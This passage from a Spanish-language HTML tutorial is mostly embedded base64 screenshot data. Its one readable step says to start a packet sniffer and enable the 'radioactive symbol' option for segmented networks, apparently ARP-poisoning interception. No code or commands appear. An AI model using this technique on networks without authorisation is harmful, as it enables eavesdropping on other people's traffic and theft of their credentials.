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" /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
4. Haga clic sobre el botón “Start/Stop Sniffer” para activar la captura de paquetes. Siempre es conveniente activar el “símbolo radioactivo” ya que es el apropiado para redes segmentadas.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: center;">
<img alt="" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKQAAAAiCAIAAABePuXTAAAgAElEQVR4nO2bd3RV153vN2oIIYSpDhhcExuTcZJZnjjJjDPJ2LHHcYljpziJ020cJ264gw24YYrpvQmEUAEEEggESKJIyCDUUEfl9nbuveee3vv5vT+2fA0TWO/NW8uz/NbLXr+ldXTuOfte3c/+fX9lHyH4QocD4AC4I7/ZAAaA9pkZAHb6ShfAAdAAFAADXBtcUByI2UBYEDdAky3QHCBSoJggm1B6MFxw/UPDgZQNgM0C13Rtw7ENxzZdO30+babraCAbIBkgGsAbwGpAqZCUIS5BXAFSAUoBVgFBBUUH0wDHcEHWIEmD4YBsgAlgAUi6ptmqAwaACWC5ruu6n33+L/dAX+z0/7ewwQEALQ3bBN0AUCxQLVBMeGvB8ft+/N7t3/hjirN029QsU7ctw7EtcNNoVVPXLMNwrMtPmqCJLiMDowJrAGsAbQBlQMoAygDaAM4AUQdFBVUBTXYN2QDDBsMBwwFegSSrWSNTWWnYIx/+H7BHvoLPYDsAFoDxmVmXfz/uyMpwR/hLAJQFEQsYCzQTIJEC3QCCgE8+Gf63f1v9owc3PvDQWtMF1TRU08C8Tdf5e4dOu7VuW7IEhgaGBoY+YpoGqgqKApoKigwiDywFZALiEYgGIRyGhkap4SxzoLLv4KGOLTuqLADNBhvA+Xzuzz6/C1/y8aWD/dkp0YakDiEDKAxb1oDlYMmS3ieeKH7m2eNvzWv+ze/KGR40y1QMXdJUQZE4SWRFgRUFThIojk3SVDRBeIOBvsGBju7O5rbWxka+dE9kz+7AzsLhrVt61q9rXbmyadmy0x9/fOr11w+8/lrlq3OrXnnp0It/PfTXOYee+3PVs88WvvnWvvc/rPrTM8vfeHvjEz9/npNA1EzDsWwwXbD+AfuycSVsAHAu8zbn768EyoGYAzELoiZQNsgWgOmAaYAuwyt/a/rx/ftWLk19+F7wjdfaX3m5sazQ2rqC27ScXr+EXP0hseK9yPIFoWXvBpe+G3jnpZ75L3XPf6l7/ovd817snvdi17wXut56qW3zanLzmuSWtYmt6+LbNhDbNxI7NhE7NsUrStWDZWZlORzaC4fKoaoMKkvgQLmyacNwcVFgwbtHV66qf/yJ100bbBc0ExRdMwzDtu0r/oQv9/gywjYhbELEBgbD5gQIBWHJhxdfer7xrbn9W9YrG9bwG9alNqyP7Vgn7N6oFW1Qd61TCtdKhWukwrXSznXyrnVK2Ta7fLu7rxAOFEHVHqgug6N74WgF7C+2K0rsynLn8H63phJOVEPdUTh5DI4cdI9VQW01nDwKp2vg1FE4WQ11NXCqHhrOOMW7h/btu/TUr96RFFANSNESzbGCIKiqalnW53/Cl3t88bD/D/XNBXDBhZQFEQ1IHfu0Dck4nDzubl4Te/zB/eW74NA+2LSWqK7S2lrhQovVcIo9XUedrkudrkudrqMaTtJnT3PnGoTzZ8W2Zq2tWWtv1tsv6B0tRkeLcbHF7GhnPB7N41E9XtnjFT0+3uPjPD7W4+P8ATEY1MIRJxqFSBiCAfAOw0AvnK6FY9VQXpIqKfb95LEF/f1aLG5fGiRiBJUiaUEQdF13nC99bgYAX07YBlAmKBaAZkB7m73kg9bHH9pZVQ4fLwzsK4bBXmg8DU2NwLDQel4f6oPBPhjshYFeGOyD4UvgHQDfEPiHIeCBkA8iASDCkIxCioAUCSQJJAkpCigaGBZYDjgeOAF4EQQRRBEEARgaEnEIB8E7CB0XoP441FTr5WWhn/500bnziUBQ6eoOBEIEQSQYhlFV9Qox/xKP/ynYLgg0q4syOOBqJjjgqDqYdro20yTZMS2cviUYx7DB0GHnVvKZ39YtejO4eZW8rwhqqqC5CQYuQThqJ2mDlWRRsTnRvKopOvy9qaZkg2yDZINoA28DYwNjA20D4wBrg2CDZINqupqkSiRNBTzQ1Qotn8Lhg8bOHd6nfrn86JHhY8e7Tp7qOHe+o6e7PxQKsSyLxdx1XQBQVRUAHMdxHEdRFABILwWGYUzTBACs/P9FEgzDwDPIsozPRKNRfMDzvCAIAIAn1HUdn9d1HU/O8/zn0QQgPUn6U+HxhcMWON5QNHABbHcEreWaooJ526o+EtRd0BWVU2UVbAOA5mHtmpb3321f+n7gkw+oku1QewjOnYH+bohGgGZBUECxbMMGw7qG2Vcx09X+u7A7muF8I1RVqIXbhn/2xOKKiu6KinOHDjee/bS1q7M3GAyyLKtp2uXOrWmaruuapgEARVE0TZMkibnipaDrOqbuum6ak67raYoAQBAE5iRJEgDYts3zPH7JcZyhoaH0MV4TlmXhOfGywLCvSCkAkPMFD4x8BLNug26DCWqSARNcUVVp3la0dBJnAEg2CCrsKor8+peH3p4b2L4WijZCzQFoPwcDvRCLgSCBbisW8A5QDoDtXN0c9yoGLrg2uDa4zmf22QAXXGfkVdsARQQq4QaGofUcnD0NB/cLO7b1/+SxBTt3Nm7bXl20u+p47enz5y8MDg4mEglBEDRNw25EUVT6y718BRAEgb99hmEwm8vR4mEYBj7gOA7jT1+Pp0omkyRJAgDmikcymcRT4dvxehrxNdfFH2wEtvgFD57nRY6nEklXMzSGN1gRTADdBs0C0wUbwLAVXmRSFMMwtAiSDXPfLHnksTXvL7y0crG0frl9ZC80HIf+Dgh4gKJA1cEC3Qbxfwx24ymorBB37hh85JF3Nmw4vnJV6YZNJfsqDtWeqG9vb/f7/clkkmVZURRlWbYsKxqNYi8URbGnp4ckSUmSTNMcHBy0LMtxnHg8HolEACAcDtM0HYlEQqGQJEksy2LMoijGYrG2tjaWZQEgHo/HYjF8PplMYoqhUCgYDGIJYRiG47hoNCrLsizLqVRKEASapjECTdOw1yH6Cx4EQbAULXMCqIaSZGhfRI2l+EAs3u9hgzEtxZqCrImyxAs0TQeTeoyHOS9ufeChFe8tHFy9TN+0yq45AI11cKkbgn5gGDB0cEe6MpoDUQu8VzUHfH9v4IJrgmuCa31m9oiBDa4FrgmuAbYGCg8UAQEPdLRAUwMcqqKLi/seffT11WsOLFm2de2GwuLSsiNHjly4cG54eJggCIqiWJbleZ5lWZIkaZpWFCUcDgMA1nmGYTDReDyO5XdwcBAfqKoaDocty9I0LRQKYW/GOhwKhQRBMAwjmUzGYjFFUViWHR4epmkaAGKxGMuypmmapimKIkVRkiTpui6KomEYAwMDAMDzvKIoWBgQ+wUP13UtwwAHhCTl8ApIOuePjsCSDJEgyVBUYnks47IDl8LqcAjWbBj4+c8OznstsmszlO6A2mq42ALDA5BMmqpi246Whm2D76p21RXg2v9t2J1t0NQIhw8xJSWXHn3sjU9W7l28ZMvGzUUlZXtramra2i5gz8a+hQMwDqi9vb1YPPv6+nieF0URPsu5EokEANTX1wNAf3//5dobDAYFQUilUkNDQ47jiKIYCoUMw8BS0d3djWVc07T+/n5N01KplN/vp2kaxwXLshoaGvBUfr8fL7XPYQtf8EgkEoFAQBMlT08/mAAGdNY1gg5SMA6sDLKh0jxFJHA0CqRYL8XLAP1eWLio/fVX+j5aGF61JHWgXD5dJ7ZeYDweOpVUJdEyNHBMcByw7KvbVbXddcB109Jtu2C4oGMDMEdOO2CboEhAJbWADzo7oLHBrqqKlZR2PfLYS8s+KV68dMPWHcWle8uPHTvW3tESCARIkmQYhmUElmURQrNmzUII8TyflZVFkiRCCAAQQmPGjEEI+f1+hFAwGAQAkiRvv/327u7uYDDo8/kkScIscdYtSZLf78/MzEQIIYRqa2tnz55t2zZCqKGh4Y477hg1alR68kQiEYvFKIr61re+RVFUPB6PRqM4viiKMiLj/Bc8OI4jSRIciHr8YEKkZ3DW5Bse++4PChB68Td/HG7rAhvAsLAMpFSTA+gP2rQI0Rh89F70lz+teX++b89OqnJ/pL420NERCPhSZELgWVuRQNNA069uV4/Z8N+G3dEOZ06bBw9Givdc/PEjLyxZVrR46YbCotLi0pKjR4+2tjb7fL54PE6SJEnSJEmOHj06FothLUUIqapaUFDg9/sLCgrS4EeNGsVxXDAY5DgOIYQ1OR6Py7LMMIxhGD6fz+/3q6rKsmxeXp5pmoFAAENlGCYNWNO09E9JkhiGsSwLvyleNIlEguO4z2HTIiRoN5q0Q4TmD4u8bBmuHaeC+yq3FhatWLfxw23bN9Ycrb/UG+dIsAzgeArA8Xg8PCcKvCpwOsfojgU8a/KcznMqz8kjnAVGlDym5YkMNYHFgSrDcBiGguAJ/xNCf/7nWTcjBFLYkQnVFnxUnHCBlXRDd+MExTKS48KlgeSSpXufm7Pp7beObdkc3V0kVFVBMAqNzdDvh7gA4QBwCQh5QBNheAAEASgKDAuCUWAl4DWgVVDBSZpBwuyi4IIGIm9qGriCpadkwQCIMikDgNFkAyDO0Ti8RGhSATsl8f0DcLET6uph957UgUPkvfe9tHbLsSWrizbvKi+u2Hv4xLFzHecH/UORZCzJUDTP8jyPELJtW1EUiqIyMjIQQrfccgtN09izMzIyMHKseTzP5+Xl+Xy+VCoFAF6vVxRFgiDwq47jMAyTnZ2dTCYdx5FlGU+I0eKDcePGmaY5ZswYXdeTyST2e5qmDcO4dOkSADAMI0kSTshRgnFYCTQbTBdEFQTFPtd6oeFcrWYnADgAHsCMRVO9XdHBXomICDxPK4qkqiqVYsAFgTfiMW7wUvhasMORswCk58JJqqMNBAOGQ99BWYseeuh2hP787/8M5GAy2GODNpSIDHACxSuaaifiDBFN8YJDM27Tp7EVK07+5bmyeW+d271b2LVLrqgy6xvhfCec7TC6LwLhh6FeiPjBNwz9/XZ7h+gLQCAMfUNG1wBzcTA6EPN3hZtjxsWo1eBNDhIcnZIFTlc4QzUABFMzAFhNFiyN1RXJMRlNZjSZ05UwlRj2wdmzcKYBjtTYVUfo+/7z9Q+X753//rqVGwuvBXvSpEkURZEkOTQ0NGvWrEgkghAiSXLixIk+nw8hRFHUrFmzAICiKMdxJk+eTBAEz/PJZBIXVKqq4votHA5j1+c4zuv14uN4PD569GiCIO65557BwcHMzMxoNIqnBYCWlpaCggL4rM4OBoNXwCa4HoLtidLdlNQfJpsZpbnqxIJAqliGg6RcGKbWJYXdknGUpKsvtG4r37ts644VpeXbD1XvLS0rOnXq1EgZ7QLPaTyn8pzyOWye56XQocNb95dtPnawrLq4GChpKhr1+/sfmIAQaMnrslA82rlt55pdB0o/2VGIrr9ZtnRRSgkSRaaiESLGixbLwalT5KIFp558vHjB/P6d2+3tW5Xdxfq+CqOmzr1wGuoOWtVlXOG6wd5mOFWtdjTAwd1mfSU0n4C2k3DpPDRWQ3MdeDqhrwXONUDbBfi0EdoujFh/D1w4B53tMNAH4cDIQSwMA33QfREuXoTTZ6C2HvaUxVevb77/obkfLN3z4fKtu/dW7dm/9/CJY+fbzw/6h6KJOElTNDfi2RMnThw7dixW2st/UhR1ww03KIqCnbKgoADjz8jIyM7O5jiup6eHoiiv12uaZjQaxYVTfn7+1KlTEUKyLCOEkslkTk5OMBhECDmOk44LeE78RhkZGfn5+bFYDCf2n8PWICpZwTjbR8v9Se6iAb31ny4FaOoLr4gwm3hrt+JWivoRQanX9BbLCQCIALLH21O0e/vs2bMZhmlv6+I59Vqwy8pX33XntN8++YgYiUzLyPvXW26fhBAYYqLvPB/rA6DXblwaE1L3/+KXGV+5pfliO8MSlq1ouhiORUMRKkWB1wP1tfqC+e2/eLJy0Tv+5cuIj5f412+KFhbHV3zQWVXM7dkc2ra6b/3Si3sLw6WbEweKjOP7YetyKNsMJ/ZCySY4sBPKtkHJNjhQbp2shYP7+COH1OoqtbJCON8Etcfsnk5oPA2fNkJNtd5yHjpa4MxJaG+B+nqorYNjx2HTlqGPlp586reLl63e/+aCFVt3770WbJxCh8PhcDisKArP89FoFHdUGIZpampKt01wJwTnYn19fbhSYtmRzTSGYXB5zTBMT0+Pbdu45k43yNItlGg0iqtzmqYDgYDjOF6vV9d1XNpdATuV0GQBZAFcE1RR9Q13bt+2MBI9TrGHRKVKNSoEaT+VKqfISkU4bVm9FN9DC5cUI7xz9yqUgWxHoZkUAPCcxHPyZybxvMjzPC9G91Zsuu9H37ZBW7NlDatLBTeM97G+2753owjJe356Fw/JzJlZzYFuHgBlF0y9aRInhlQ9IZtJio9HE/FITAqHIeCDnouwcH77z35S8Ysn9r+3sHfZ0v4nn9z6zLMP/uTx8e8svOed9771zPNT//zXSXNeuPn3z9z27F++P/fV382dO/dnj8958bmlHy/a/+rfts6bW/zJRz3LP/B8+E7f6qXBtctCa5eH1y2PbFxF7NttFG5itq+nd